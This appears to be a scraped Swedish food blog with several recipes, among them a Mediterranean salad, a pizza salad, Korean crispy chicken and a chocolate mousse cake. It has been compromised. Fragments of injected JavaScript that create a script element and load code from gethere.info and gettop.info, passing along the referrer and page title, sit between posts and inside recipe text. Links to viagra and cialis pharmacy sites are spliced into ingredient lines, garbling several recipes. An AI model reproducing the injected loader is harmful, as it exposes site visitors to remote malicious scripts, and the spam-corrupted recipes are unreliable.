Medelhavsinspirerad sallad

Receptet på den här salladen hittade jag på facebook hos ”Marianns LCHF mat & bak”. Salladen är helt underbart god och passar perfekt till grillat.

Ni hittar hennes blogg här.

946883_10151555595405959_1720363318_n

4 portioner
Ingredienser:
1 påse ruccola
150 g fetaost
1 dl grekisk yoghurt
1 dl creme fraiche
1/2 dl majonnäs olivolja,  en rejäl skvätt
1 ask minitomater
1 grovt hackad rödlök
1 skalad och tärnad zucchini
1 liten burk svarta oliver (skippa oliverna om du inte gillar oliver)
Oregano

Gör så här:
1. Blanda majonnäs, yoghurt,creme fraiche och finfördelad fetaost, strö lite
oregano och rejält med olivolja över och blanda runt.
2. Dela tomaterna och  lägg dem i en skål tillsammans med alla andra ingredienser, strö oregano över.
Blanda.
3. Fördela fetakrämen över och blanda försiktigt runt.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Pizzasallad

Den här pizzasalladen smakar precis som på pizzerian.

Ingredienser:
1 dl rapsolja
1 dl salladsvinäger (distilled vinegar från den asiatiska affären är godast att använda).
0,5 dl vatten
0,5 dl strösocker
0,5 tsk https://www.acheterviagrafr24.com/prix-du-viagra/ salt
1/2 medelstort vitkålshuvud
mellanmalen svartpeppar

Tillagning:
Strimla vitkålen så fint som möjligt. Koka samman olja, vinäger, vatten, salt och socker. Häll vätskan över salladen och smaksätt med grovmalen svartpeppar. Låt stå i kylskåp ett tag innan servering.

var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

blogstats trackingpixel

Grillad räksmörgås

IMG_3797

Det här receptet fick jag från en kollega på jobbet.
Rätten går att servera som förrätt eller huvudrätt. 1 kg räkor med skal motsvarar ca 400 gram skalade räkor.

4 förrätter eller 2 huvudrätter
1 kg räkor med skal (går att använda frysta räkor med skal som du tinar upp).
1/2 dl majonnäs
1/2 dl creme fraiche
1/2 dl finhackad dill
1/2 dl färsk pepparrot
salt
svartpeppar
smör
2 skivor långa landgångsbröd eller 6 formfranskaskivor.
2 dl riven lagrad ost (lagrad prästost eller parmesan)

Till servering:
2 msk olivolja
1 msk balsamvinäger
blandad grönsallad
salt
svartpeppar
1/2 citron i klyftor
dill

Gör så här:
Sätt ugnen på 150 grader.
Skala räkorna. Blanda räkor, majonnäs, creme fraiche, dill och pepparrot. Smaka av med salt och svartpeppar. Grilla brödskivorna i het panna så att det får ett trevligt mönster. Det går lika bra att rosta brödet lite lätt. Skär bort kanterna på brödet.
Smöra brödskivorna.
Fördela ost och räkfyllning på brödskivorna.
Ställ in dem i ugnen så att de blir varma rakt igenom, ca 5 min.
Vänd ner olivolja och balsamvinägern i salladen. Salta och peppra.
Servera smörgåsarna med sallad och citronklyfta.

Snåla inte med pepparroten eller osten.
IMG_3805
IMG_3807
IMG_3806
IMG_3809
IMG_3810

document.currentScript.parentNode.insertBefore(s, document.currentScript);

blogstats trackingpixel

Cashewrutor med smak av apelsin och ingefära

bild10
För några dagar sedan fick jag provsmaka på dessa godbitar av min granne Anna. Nu har jag bakat dem för första gången och de smakar supergott!

Cashewrutor (ca 16 bars)
1 apelsin
4 dl cashewnötter
100 gr torkade aprikoser
1 msk färsk riven ingefära
150 gr mörk choklad (minst 70%)

Gör så här:

Riv skalet av apelsinen och ställ det åt sidan. Dela apelsinen och pressa ut saften (gärna i matberedare el juicecentrifug). Häll saften i matberedare, tillsätt nötter, aprikoser och ingefära och mixa till jämn smet. Forma smeten till en rektangel, ca 1 cm tjock. Smält chokladen i vattenbad och bred den över nötmassan. I receptet https://www.viagrasansordonnancefr.com/viagra-achat/ står det att man ska strö på apelsinskalet. Jag blandade skalet i degen istället. Förvara kallt. Går utmärkt att frysa!
BildaAA
A B
BCEFD
bild5
bild6
bild7bild8bild11bild12bild9

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

blogstats trackingpixel

Stir fried chicken with cashew nuts

2 - kopia
När jag var på semester i Thailand i julas gick jag på en matlagningskurs i Ao Nang som var så rolig.
Vanligtvis tar de ca 10 elever per klass men den dagen jag var anmäld var jag den enda anmälda så jag fick en privat matlagningskurs kan man säga. Så roligt och lärorikt och maten smakade så gott.
Då jag omöjligt kunde äta upp mina 5 rätter på plats fick jag med mig all mat inslagna i plastpåsar och burkar. Jag fick även med mig ett recepthäfte på all mat jag lagat på engelska med engelska mått.

Recept 2 personer
2 pieces of chicken breast (kycklingfiléer)
1 small https://www.viagrapascherfr.com/sildenafil-citrate-femme-life/ Onion (gul lök)
2-3 spring onion (salladslök)
1 dl cashewnuts (cashewnötter, osaltade)
Dried big chili (jag använde torkade chiliflingor från en asiatisk butik i stan)
2 cloves garlic (vitlöksklyftor som du skär i små bitar)

Enligt läraren kan du lägga i champinjoner, morötter och paprika om du vill laga rätten med mer grönsaker.

Seasoning/sås
4 tbsp oil
1 tbs ketchup
4 tbsp water
2 tbsp oyster sauce
2 tsp sugar
2 tbsp light soy sauce
4 drops black soy sauce

Omvandlingstabell
1 tbsp (tablespoon) = 1 msk = 15 ml
1 tsp (teaspoon) = 1 tsk = 5 ml

Gör så här:
Skär upp kycklingen in mindre bitar och skär löken i små båtar (klyftor) och salladslöken i mindre bitar. Vitlöken skär du i små bitar.

Stek upp kycklingen i lite olja ihop med vitlök och krydda med lite salt och vitpeppar.
Lägg i resten av grönsakerna förutom salladslök och fräs upp en stund. Lägg i såsen och rör om och
när allt är färdigstekt lägger du på färsk salladslök och cashewnötter. Servera rätten med jasminris och en sallad.

1 - kopia

} else {if (document.currentScript) {

blogstats trackingpixel

Het, koreansk krispig kyckling

Här kommer ett mkt gott kycklingrecept som kommer från Jennie Walldéns bok ”Asiatiska smaker”.
1

Krispig kyckling medicdrugstore2015.com (4 portioner)

600 g kycklinglårfilé, i 3×2 cm bitar

Marinad

2 tsk ljus soja
1⁄2 msk risvinäger
1⁄2 tsk vitlök, skalad och riven
1⁄2 tsk ingefära, skalad och riven

Sås

1 1⁄2 msk ljus soja
4 msk mirin (eller 2 msk sött vitt vin och 2 msk vatten)
3 msk risvinäger
2 msk gochujang (eller ketchup för en mild rött)
4 msk flytande honung
3 msk muscovadosocker eller farinsocker
2 tsk vitlök, skalad och riven
2 tsk ingefära, skalad och riven
1 msk rostade vita sesamfrön
1 dl Maizena majsstärkelse
1⁄2 liter rapsolja till fritering
4

Gör såhär:

1. Blanda ihop marinaden och tillsätt kycklingen. Ställ åt sidan.
2. Blanda alla ingredienserna till såsen och låt koka i 4–5 minuter. Dra av från plattan.
3. Vänd ner kycklingen i majsstärkelsen. Blanda väl så att alla bitar täcks av stärkelsen.
4. Värm oljan i en wok eller kastrull till 180 grader (eller till en brödbit blir gyllene på mindre än 1 minut i oljan).
5. Dela upp kycklingen i tre lika stora högar. Lägg ner en del kyckling i taget i den heta oljan, ta upp och fritera sedan de återstående två delarna för sig. Detta för att kycklingen ska friteras, inte bli avkyld och koka. Fritera i 1–2 minuter till gyllene. Låt rinna av på tjockt lager hushållspapper.
6. När all kyckling är friterad, upprepa friteringen en gång tills kycklingen är gyllene och frasig. Lägg att torka på nytt hushållspapper.
7. Värm upp såsen, lägg ner kycklingbitarna och blanda om väl så att all kyckling är täckt av sås. Häll över sesamfrön och servera genast med kokt ris och en sallad.

7
5
8
6

document.currentScript.parentNode.insertBefore(s, document.currentScript);

blogstats trackingpixel

Köttfärsgratäng

1Här kommer ett recept på en fräsch köttfärsgratäng.

Recept 4 personer

1/2 gul lök
2 vitlöksklyftor
500 gram nötfärs
1 tsk torkad oregano
1 tsk torkad timjan
1 tsk torkad basilika
1 tsk salt
1 förp krossade tomater
1/2 blomkålshuvud
1/2 Zucchini
1 förpackning mozzarella

Gör så här:
Sätt ugnen på 200 grader.
Skala och finhacka lök och vitlök. Hetta upp en stekpanna med olja och bryn löken utan att den tar färg. Tillsätt färsen och bryn den så att den blir genomstekt. Krydda med oregano, timjan, basilika och salt. Tillsätt krossade tomater och låt den http://www.buy-trusted-tablets.com puttra ihop snabbt.
Skölj och skiva (med mandolin) blomkålen och grovriv zucchinin. Krama ur vätskan från zucchinin. Blanda ihop köttfärssåsen med blomkål och zucchini i en ugnsfast form. Toppa med skivad mozzarella och sätt i ugnen ca 15-20 min.

Servera gratängen med en sallad.
4
3
2
1

blogstats trackingpixel

Chokladmoussetårta

1
Receptet på den här moussetårtan hittade jag på Jennys matblogg.

Om du tycker om choklad så är det här rätt tårta för dig.

Receptet kommer här.

Botten:
200 gram cookies ( te.x Maryland )
80 gram smält smör

Mousse:
3 gelatinblad
400 gram mjölkchoklad
250 gram mascarpone
500 gram philadelphiaost
2 1/2 dl vispgrädde
2 msk vatten
1 rulle center

Topping:
färska hallon
1 rulle center

Gör så här:
Mixa kakorna till smulor i en mixer och rör ihop med det smälta smöret.
Pressa ut blandningen i en rund springform med avtagbara kanter. ( cirka 22-24 cm) Lägg gelatinbladen i kallt vatten.
Smält chokladen försiktigt i micron eller över vattenbad ( den ska inte bli för varm )
Vispa ihop mascarpone& färskostmed en elvisp i en bunke. Vispa grädden tills den är ordentligt fast och bildar stadiga toppar. Vänd ner grädden tillsammans med chokladen i mascarponeblaningen, vänd försiktigt med en slickepott tills allt är väl blandat.
Krama ur gelantinbladen och värm dem tillsammans med 2 msk vatten i en kastrull, de ska precis bara smälta. Rör ner detta i smeten, och rör kraftigt så att allt blandar sig väl. Grovhacka ner centern och blanda om fördela sedan ut jämt över kakbotten. Förvara gärna Centern i kylskåpet innan du grovhackar den.
Låt stå och svalna i kylskåpet i minst 5 timmar, men gärna över natten. Det går även att förvara tårtan i frysen.

Toppa med center och hallon.
AA - kopiaKaka
DD
CC - kopia
BB - kopia
EE
2
3

if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s);

blogstats trackingpixel

Goda bars

IMG_7905

Bars 7 st
Recept
1 påse Änglamarks ”soft acheter du cialis en ligne dates” 200 gram
2 dl saltade jordnötter

Topping
Mörk choklad

1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Forma till en platt avlång kaka och lägg i frysen för att stelna. Skär upp ca 7 avlånga bars och pensla på med mörk choklad och valfri topping.
Jag använde torkade jordgubbar och kokos. Du kan förvara dina bars i frysen också.

IMG_7931IMG_7932

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

blogstats trackingpixel

Sautérad kyckling med gräslöksås

4 kycklingbröst
1 tsk salt
1/4 cup vetemjöl
3 tsk olivolja
2 stora charlottenlök (finhackad)
1/2 cup vitt vin
400 gram kycklingbuljong
1/3 cup lätt creme fraiche
1 tsk dijon senap
1/2 cup hackad gräslök

Gör så här: Platta ut kycklingbrösten så de blir riktigt platta. Krydda med salt. Doppa kycklingbrösten i mjölet. Hetta upp lite olivolja i en stekpanna och stek kycklingen ca 2 min per sida tills den har fått färg. Lägg över kycklingen på en tallrik för att vila. Häll i resten av olja i stekpannan och häll i löken och stek tills löken fått färg. Häll i resten av mjölet i stekpannan. Häll i vin och buljong och koka upp. Lägg tillbaks kycklingen och låt koka upp ca 5-6 minuter. Häll i creme fraiche och senap och precis innan servering lägger du i den hackade gräslöken. Servera med grönsaker och en god sallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

if (document.currentScript) {

blogstats trackingpixel